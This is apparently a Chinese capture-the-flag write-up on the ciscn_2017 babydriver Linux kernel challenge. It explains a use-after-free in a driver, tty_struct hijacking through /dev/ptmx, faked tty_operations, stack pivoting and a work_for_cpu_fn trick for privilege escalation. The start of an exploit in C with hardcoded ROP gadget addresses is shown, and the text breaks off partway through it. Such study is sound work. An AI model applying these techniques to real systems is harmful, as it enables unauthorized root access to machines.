本文所用的内核为题目所给的内核,版本为 4.4.72,没有引入 kpti 保护。但是这丝毫不影响以下方法在其他部分版本内核的利用,如果有 kpti 保护,最后返回用户态时用 swapgs_restore_regs_and_return_to_usermode 函数即可。还是就是这里并不讲解直接 fork 修改 cred 结构体的利用方式。
参考:
在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析-安全客 - 安全资讯平台
在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法-安全客 - 安全资讯平台
第五届强网杯线上赛冠军队 WriteUp - Pwn 篇 - 知乎
babayioctl
释放全局变量 babydev_struct 中的 device_buf,然后又重新申请了一个 arg_len 大小的堆块,这里没有限制堆块的大小
babyrelease
当关闭对应设备文件时,释放了全局变量 babydev_struct 中的 device_buf、但是并没有将其置空。如果我们打开两次,并将一个关闭,但是另一个还是可以操作此内存区域
babyread、babywrite
两者的功能如下:
len <= babydev_struct.device_buf_lenbabyread:
copy_to_user(user_buf, babydev_struct.device_buf, len)babywrite:
copy_from_user(babydev_struct.device_buf, user_buf, len)
漏洞很明显,任意大小的 UAF,并且有读写的能力。
当然也可以利用 tty_struct+pt_regs 去打,但是下面的 seq_file 就是利用的 pt_regs,所以这里这不展示了。
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,该结构体中存放着函数指针的结构体 tty_operations。
其中 tty_struct 大小为 0x2e0, 由 kmalloc-1k 分配,分配方式为 GFP_KERNEL_ACCOUNT。
#define TTY_MAGIC 0x5401struct tty_struct {int magic;struct kref kref; //其实就是一个intstruct device *dev;struct tty_driver *driver;const struct tty_operations *ops;...
}
其中 tty_operations 会被初始化为全局变量 ptm_unix98_ops 或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址。
我们可以通过 UAF 劫持 tty_struct、然后利用 babyread 功能读取 tty_operations 的值从而泄漏内核基地址。
然后由于没有开启 smap 保护,所以可以直接伪造 tty_operations。利用 babywrite 去修改 tty_struct 的 tty_operations 为我们伪造的 tty_operations,最后在将栈迁移到 rop 链的位置即可。
如何进行栈迁移呢?
经过调试发现当执行 tty_operations->write 时,rax 指向的就是 fake_ops。所以我们可以找到一条有 mov rsp, rax;ret 效果的gadget 将栈劫持到 fake_ops 上,但是 fake_ops 上空间较小不足以布置下我们的 rop 链,所以我们可以再次将栈直接劫持到 rop 链的位置。
其实我们控制了 tty_struct 结构体后,不用这么麻烦地去进行栈迁移啥的。我们可以利用 work_for_cpu_fn。
在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:
#define container_of(ptr, type, member) ({ const typeof(((type *)0)->member)*__mptr = (ptr); (type *)((char *)__mptr - offsetof(type, member)); })struct work_for_cpu {struct work_struct work;long (*fn)(void *);void *arg;long ret;
};static void work_for_cpu_fn(struct work_struct *work)
{struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);wfc->ret = wfc->fn(wfc->arg);
}
该函数可以理解为如下形式:
static void work_for_cpu_fn(size_t * args)
{args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}
我们又可以看下函数表:
可以发现当我们执行相关函数时,其第一个参数都是 tty_struct,而 tty_struct 又是我们可以控制的,所以就可以直接在内核中执行相关提权函数了,而无需绕过 smep 等保护
struct tty_operations {struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);int (*install)(struct tty_driver *driver, struct tty_struct *tty);void (*remove)(struct tty_driver *driver, struct tty_struct *tty);int (*open)(struct tty_struct * tty, struct file * filp);void (*close)(struct tty_struct * tty, struct file * filp);void (*shutdown)(struct tty_struct *tty);void (*cleanup)(struct tty_struct *tty);int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);int (*put_char)(struct tty_struct *tty, unsigned char ch);void (*flush_chars)(struct tty_struct *tty);unsigned int (*write_room)(struct tty_struct *tty);unsigned int (*chars_in_buffer)(struct tty_struct *tty);int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
......
与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改
需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数,这里直接用长亭师傅wp里面的参数就行了。
需要注意的是,由于 tty_struct 的结构体已经被我们破坏,所以最后还得恢复
exp:
上面两个方法写在一起的
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define PTM_UNIX98_OPS 0xffffffff81a74f80
#define PTY_UNIX98_OPS 0xffffffff81a74e60
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
// puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("